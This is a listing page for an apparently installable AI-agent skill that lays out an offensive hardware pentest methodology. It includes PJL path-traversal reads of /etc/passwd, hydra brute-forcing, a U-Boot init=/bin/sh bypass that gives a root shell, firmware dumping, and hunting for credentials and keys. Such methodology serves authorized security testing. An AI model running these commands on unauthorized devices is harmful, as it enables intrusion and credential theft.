offensive-hardware/hardware-technique/SKILL.md
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
npx skillsauth add aeondave/malskill hardware-techniqueInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: gain privileged access to an embedded or peripheral device, extract and analyze its firmware, and identify actionable vulnerabilities — within authorized scope and with minimum physical damage risk.
wireless-technique.ics-technique.hardware-ctf.reversing-technique.forensic-technique.Before touching hardware, classify the attack surface and choose the least invasive path.
Loop:
1. Enumerate attack surface — network services, PCB headers, debug pads, firmware version.
2. Choose entry path — network management, UART console, JTAG, or direct flash.
3. Gain access or dump firmware.
4. Analyze: extract filesystem, find credentials/keys, identify vulnerabilities.
5. Escalate or pivot as scoped.
Stop when: objective achieved, all paths exhausted, or scope boundary reached.
Attempt before physical access. Many embedded devices expose exploitable management protocols over the network.
PJL (Printer Job Language) is exposed on TCP 9100 or via HTTP-based printer management consoles.
# Network discovery
nmap -p 9100,515,631 <target>
# PJL filesystem enumeration via raw TCP or HTTP POST form
echo '@PJL FSDIRLIST NAME="0:" ENTRY=1 COUNT=50' | nc <target> 9100
# Read a file via PJL FSUPLOAD
echo '@PJL FSUPLOAD NAME="0:/webServer/default/csconfig" SIZE=4520' | nc <target> 9100
# Path traversal: 0: maps to /printer or /hpmnt on the host
echo '@PJL FSUPLOAD NAME="0:/../../etc/passwd" SIZE=500' | nc <target> 9100
# List saved print jobs — may contain cleartext credentials, PINs, flag comments
echo '@PJL FSDIRLIST NAME="0:/../../home/default/" ENTRY=1 COUNT=50' | nc <target> 9100
echo '@PJL FSUPLOAD NAME="0:/../../home/default/readyjob" SIZE=500' | nc <target> 9100
Key PJL targets after traversal:
/home/default/readyjob — JetDirect boot job; may contain cleartext credentials or PIN in @PJL COMMENT / @PJL SET fields./etc/passwd, /etc/shadow — device user accounts.nmap -sV -p 22,23,80,443,8080,8443 <target>
# Common defaults: admin:admin, admin:password, root:root, root:(empty)
hydra -l admin -P /usr/share/wordlists/common-passwords.txt telnet://<target>
curl -sv http://<target>/
nikto -h http://<target>
# Common paths: /cgi-bin/info.cgi, /admin/config, /etc/passwd (traversal)
UART is the most common non-invasive physical entry point. A root shell via UART is typically non-destructive and reversible.
PCB inspection:
1. Locate 3–4 unpopulated through-holes or test pads near the SoC.
2. Measure voltage: VCC (~3.3 V or 5 V), GND (0 V), TX (idle HIGH), RX (high-impedance).
3. Use a multimeter or logic analyzer to confirm: TX toggles during boot.
4. Common layout: GND–TX–RX–VCC or VCC–TX–RX–GND.
5. JTAGulator can auto-scan up to 24 channels — saves time on dense boards.
# Connect USB-UART adapter: TX→RX, RX→TX, GND→GND
# Do NOT connect VCC if device is self-powered
# Try common baud rates: 115200, 57600, 38400, 19200, 9600
screen /dev/ttyUSB0 115200
# or
minicom -D /dev/ttyUSB0 -b 115200
# If garbled: cycle through rates
Watch during boot for:
- U-Boot / Barebox prompt ("Hit any key to stop autoboot" — press key immediately)
- Kernel cmdline showing root filesystem and init path
- Login prompt (try root with no password, or common defaults)
U-Boot useful commands:
printenv — dump all env vars (may expose credentials, signing keys, boot args)
md 0x80000000 — memory dump at address
setenv bootargs — modify kernel cmdline before boot
boot — resume
# In U-Boot: override init to drop to shell before OS init
setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh'
boot
# Result: root shell before any authentication
When signature verification is enabled:
CONFIG_SECUREBOOT checks (requires flash write).Use when UART is unavailable or the boot sequence cannot be interrupted.
Standard ARM JTAG: TCK, TMS, TDI, TDO, nTRST, nSRST, GND, VCC
Compact: JTAG-10, ARM-SWD-10, TAG-Connect
JTAGulator: auto-scan up to 24 channels for JTAG/UART pins
openocd -f interface/ftdi/olimex-arm-usb-ocd-h.cfg -f target/stm32f4x.cfg
# telnet localhost 4444:
halt
mdw 0x08000000 256 # dump flash as 32-bit words
dump_image firmware.bin 0x08000000 0x100000 # dump 1 MB
resume
Use when device boots from external SPI flash and other paths are blocked.
# Identify flash chip (read markings on PCB: Winbond W25Q*, Macronix MX25L*, GigaDevice GD25Q*)
# In-circuit dump (device powered off, clip on flash IC)
flashrom -p ch341a_spi -r firmware.bin
# Verify — read twice and compare hashes
flashrom -p ch341a_spi -r firmware2.bin
md5sum firmware.bin firmware2.bin # must match before any write
# Identify
file firmware.bin
binwalk firmware.bin
# Extract
binwalk -Me firmware.bin
# Credential and key hunting
grep -r "password\|passwd\|secret\|api_key\|private_key\|BEGIN " _firmware.bin.extracted/ 2>/dev/null
find . -name "shadow" -o -name "*.pem" -o -name "*.key" 2>/dev/null
# Architecture identification for disassembly handoff
file _firmware.bin.extracted/squashfs-root/bin/busybox
# → MIPS/ARM/ARC → reversing-technique for binary analysis
Key artifacts:
/etc/passwd, /etc/shadow — crack offline with hashcat/john./etc/config/ — OpenWrt-style config with credentials.# Survey
uname -a; id; cat /etc/passwd; mount; netstat -tlnp 2>/dev/null || ss -tlnp; ps aux || ps
# Credential extraction
cat /etc/shadow 2>/dev/null
find / -name "*.conf" -o -name "*.cfg" 2>/dev/null | xargs grep -l "pass\|key\|secret" 2>/dev/null
# Persistence locations
ls /etc/init.d/ /etc/rc.d/ /etc/crontab 2>/dev/null
Pivot paths:
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.